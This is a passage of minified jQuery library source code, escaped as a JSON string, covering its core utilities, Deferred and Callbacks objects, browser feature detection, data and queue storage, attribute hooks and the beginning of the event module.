setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",B,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",B),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026J()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!D.call(a,\"constructor\")\u0026\u0026!D.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,\"@\").replace(p,\"]\").replace(q,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,\"ms-\").replace(v,x)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?\"\":G.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026u.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){I[\"[object \"+b+\"]\"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser\u0026\u0026(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener(\"DOMContentLoaded\",B,!1),e.ready()}:c.attachEvent\u0026\u0026(B=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d\u003ce;d++)g=b[d],h=f.type(g),h===\"array\"?m(g):h===\"function\"\u0026\u0026(!a.unique||!o.has(g))\u0026\u0026c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c\u0026\u0026l\u003ck;l++)if(c[l].apply(b,f)===!1\u0026\u0026a.stopOnFalse){e=!0;break}i=!1,c\u0026\u0026(a.once?e===!0?o.disable():c=[]:d\u0026\u0026d.length\u0026\u0026(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e\u0026\u0026e!==!0\u0026\u0026(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d\u003ce;d++)for(var f=0;f\u003cc.length;f++)if(b[d]===c[f]){i\u0026\u0026f\u003c=k\u0026\u0026(k--,f\u003c=l\u0026\u0026l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b\u003cd;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)\u0026\u0026o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d\u0026\u0026(i?a.once||d.push([b,c]):(!a.once||!e)\u0026\u0026n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks(\"once memory\"),c=f.Callbacks(\"once memory\"),d=f.Callbacks(\"memory\"),e=\"pending\",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[b,\"reject\"],progress:[c,\"notify\"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g\u0026\u0026f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+\"With\"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+\"With\"]=g[j].fireWith;i.done(function(){e=\"resolved\"},c.disable,d.lock).fail(function(){e=\"rejected\"},b.disable,d.lock),a\u0026\u0026a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length\u003e1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length\u003e1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026b[c].promise\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a\u0026\u0026j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement(\"div\"),r=c.documentElement;q.setAttribute(\"className\",\"t\"),q.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=q.getElementsByTagName(\"*\"),e=q.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=q.getElementsByTagName(\"input\")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName(\"tbody\").length,htmlSerialize:!!q.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:q.className!==\"t\",enctype:!!c.createElement(\"form\").enctype,html5Clone:c.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener\u0026\u0026q.attachEvent\u0026\u0026q.fireEvent\u0026\u0026(q.attachEvent(\"onclick\",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),b.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML=\"\",a.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",q.style.width=\"2px\",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n=\"on\"+o,p=n in q,p||(q.setAttribute(n,\"return;\"),p=typeof q[n]==\"function\"),b[o+\"Bubbles\"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName(\"body\")[0];!r||(j=1,k=\"position:absolute;top:0;left:0;width:1px;height:1px;margin:0;\",m=\"visibility:hidden;border:0;\",n=\"style='\"+k+\"border:5px solid #000;padding:0;'\",o=\"\u003cdiv \"+n+\"\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\"+\"\u003ctable \"+n+\" cellpadding='0' cellspacing='0'\u003e\"+\"\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",a=c.createElement(\"div\"),a.style.cssText=m+\"width:0;height:0;position:static;top:0;margin-top:\"+j+\"px\",r.insertBefore(a,r.firstChild),q=c.createElement(\"div\"),a.appendChild(q),q.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",l=q.getElementsByTagName(\"td\"),p=l[0].offsetHeight===0,l[0].style.display=\"\",l[1].style.display=\"none\",b.reliableHiddenOffsets=p\u0026\u0026l[0].offsetHeight===0,q.innerHTML=\"\",q.style.width=q.style.paddingLeft=\"1px\",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!=\"undefined\"\u0026\u0026(q.style.display=\"inline\",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display=\"\",q.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position=\"fixed\",e.style.top=\"20px\",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top=\"\",d.style.overflow=\"hidden\",d.style.position=\"relative\",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\\{.*\\}|\\[.*\\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c==\"string\",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]\u0026\u0026j,o=c===\"events\";if((!n||!m[n]||!o\u0026\u0026!e\u0026\u0026!m[n].data)\u0026\u0026k\u0026\u0026d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b\u0026\u0026(h[f.camelCase(c)]=d);if(o\u0026\u0026!h[c])return g.events;k?(i=h[c],i==null\u0026\u0026(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,g=b.length;e\u003cg;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i\u0026\u0026(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a==\"undefined\"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1\u0026\u0026!f._data(this[0],\"parsedAttrs\")){e=this[0].attributes;for(var i=0,j=e.length;i\u003cj;i++)g=e[i].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],\"parsedAttrs\",!0)}}return h}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});d=a.split(\".\"),d[1]=d[1]?\".\"+d[1]:\"\";if(c===b){h=this.triggerHandler(\"getData\"+d[1]+\"!\",[d[0]]),h===b\u0026\u0026this.length\u0026\u0026(h=f.data(this[0],a),h=l(this[0],a,h));return h===b\u0026\u0026d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler(\"setData\"+d[1]+\"!\",e),f.data(this,a,c),b.triggerHandler(\"changeData\"+d[1]+\"!\",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a\u0026\u0026(b=(b||\"fx\")+\"mark\",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0\u0026\u0026(c=b,b=a,a=!1);if(b){c=c||\"fx\";var d=c+\"mark\",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,\"mark\"))}},queue:function(a,b,c){var d;if(a){b=(b||\"fx\")+\"queue\",d=f._data(a,b),c\u0026\u0026(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e={};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),f._data(a,b+\".run\",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+\"queue \"+b+\".run\",!0),n(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f.Callbacks(\"once memory\"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\\n\\t\\r]/g,p=/\\s+/,q=/\\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(p);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(p);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(o,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(o,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(g,\"value\"))!==b)return d;d=g.value;return typeof d==\"string\"?d.replace(q,\"\"):d==null?\"\":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type===\"select-one\";if(g\u003c0)return null;c=j?g:0,d=j?g+1:i.length;for(;c\u003cd;c++){e=i[c];if(e.selected\u0026\u0026(f.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!f.nodeName(e.parentNode,\"optgroup\"))){b=f(e).val();if(j)return b;h.push(b)}}if(j\u0026\u0026!h.length\u0026\u0026i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a\u0026\u0026j!==3\u0026\u0026j!==8\u0026\u0026j!==2){if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute==\"undefined\")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i\u0026\u0026(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h\u0026\u0026\"set\"in h\u0026\u0026i\u0026\u0026(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,\"\"+d);return d}if(h\u0026\u0026\"get\"in h\u0026\u0026i\u0026\u0026(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b\u0026\u0026a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h\u003cg;h++)e=d[h],e\u0026\u0026(c=f.propFix[e]||e,f.attr(a,e,\"\"),a.removeAttribute(v?e:c),u.test(e)\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a\u0026\u0026i!==3\u0026\u0026i!==8\u0026\u0026i!==2){h=i!==1||!f.isXMLDoc(a),h\u0026\u0026(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g\u0026\u0026\"set\"in g\u0026\u0026(e=g.set(a,d,c))!==b?e:a[c]=d:g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026(y[c]?d.nodeValue!==\"\":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.attrHooks.tabindex.set=w.set,f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype=\"encoding\"),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\\.]*)?(?:\\.(.+))?$/,B=/\\bhover(\\.\\S+)?\\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,G=function(a){var b=F.exec(a);b\u0026\u0026(b[1]=(b[1]||\"\").toLowerCase(),b[3]=b[3]\u0026\u0026new RegExp(\"(?:^|\\\\s)\"+b[3]+\"(?:\\\\s|$)\"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])\u0026\u0026(!b[2]||(c.id||{}).value===b[2])\u0026\u0026(!b[3]||b[3].test((c[\"class\"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,\"mouseenter$1 mouseleave$1\")};\nf.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler\u0026\u0026(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(\" \");for(k=0;k\u003cc.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||\"\").split(\".\").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(\".\")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+m,i)}s.add\u0026\u0026(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var 